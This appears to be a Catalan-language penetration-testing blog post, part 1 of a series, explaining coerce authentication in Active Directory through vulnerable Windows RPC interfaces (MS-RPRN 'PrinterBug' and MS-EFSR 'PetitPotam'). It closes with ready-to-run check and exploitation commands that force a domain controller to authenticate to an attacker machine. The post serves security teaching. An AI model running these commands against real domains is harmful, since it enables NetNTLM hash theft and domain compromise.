Coerce | Part 1
Compartir
Dins l'entorn d'Active Directory, els atacants recorren a autenticacions forçades i estratègies de MitM per dur a terme diverses accions. És per això que, en aquesta ocasió, entrarem en el tema de Coerce Authentication. Al llarg de diferents posts explicarem les diferents maneres de realitzar aquesta tècnica, a més de com enllaçar-ho amb altres atacs per elevar privilegis en un domini.
Coerce authentication és una tècnica que, mitjançant les trucades als Remote Procedure Calls (RPC) de Windows, força a un servei que s'autentiqui contra una màquina. Mitjançant aquesta tècnica, un atacant pot forçar servidor vulnerable a autenticar-se contra una màquina controlada per l'atacant i així arribar a obtenir el hash de la contrasenya del compte de màquina en format NetNTLM.
Un compte de màquina en xarxes Windows fa referència a una identitat única associada a un dispositiu a la xarxa. Els comptes de màquina són essencials per establir la comunicació i la col·laboració entre dispositius dins d'un entorn de xarxa amb sistemes operatius Windows.
Un cop obtingut el hash del compte d'una màquina, s'obren un ventall de possibles tècniques per poder aprofitar aquesta autenticació per suplantar la víctima. Parteix de la criticitat d'aquesta tècnica, rau que una màquina és la víctima. Per exemple, si aquesta tècnica és utilitzada contra un controlador de domini, és possible arribar a comprometre la totalitat del domini, elevant així la criticitat de la tècnica esmentada.
Què és RPC?
RPC són les sigles de Remote Procedure Call (Trucada a Procediment Remot) la qual, és una forma de comunicació entre processos (IPC). Aquesta tecnologia permet a les aplicacions enviar senyals entre si per realitzar una operació.
Als entorns Windows, es fa un ús intensiu de RPC per a molts serveis diferents, com la programació de tasques, la creació de serveis, la configuració d'impressores, configuració de recursos compartits, la gestió de dades xifrades emmagatzemades de forma remota, entre d'altres …
A causa de la naturalesa de RPC com a vector remot, atrau molta atenció des del punt de vista de la seguretat informàtica.
Principals RPC Vulnerables
A continuació, es procedeix a enumerar els principals RPC vulnerables coneguts per a l'ús de la tècnica Coerce Authentication.
Cal destacar que, per a l'explotació d'aquests RPC, cal tenir un compte d'un usuari del domini vàlid, encara que en el cas del RPC conegut com a MS-EFSR, és possible executar-lo sense un usuari.
Per a aquest segon cas, on l'explotació era de forma anònima, Microsoft sí que ho ha considerat una vulnerabilitat i ha tret pegats de seguretat per a la seva correcció.
MS-RPRN
MS-RPRN és el Remote Procedure Call relacionat amb el protocol de sistema d'impressió remot.
Print Spooler de Microsoft és un servei que gestiona els treballs d'impressió i altres tasques relacionades amb la impressió. Un atacant que controli un usuari/ordinador de domini pot, amb una trucada RPC específica, activar el servei spooler d'un objectiu que l'estigui executant i fer que s'autentiqui en un objectiu triat per l'atacant. Aquest comportament està marcat com a “Wont Fix” des de Microsoft i està habilitat per defecte en tots els entorns Windows.
Comprovació
Per comprovar si un RPC està habilitat a l'equip de la víctima, podeu fer ús de l'eina rpcdump d' impacket :
Ordre: python3 rpcdump.py @dc.corp.lab | grep ‘MS-RPRN’
Explotació
Ordre: python3 printerbug.py “CORP/bob:@dc.corp.lab” attack_machine
MS-EFSR
Comprovació
Ordre: crackmapexec smb dc.corp.lab -M petitpotam
Explotació
Ordre: python3 PetitPotam.py -u “” -p “” -d “” attack_machine dc.corp.lab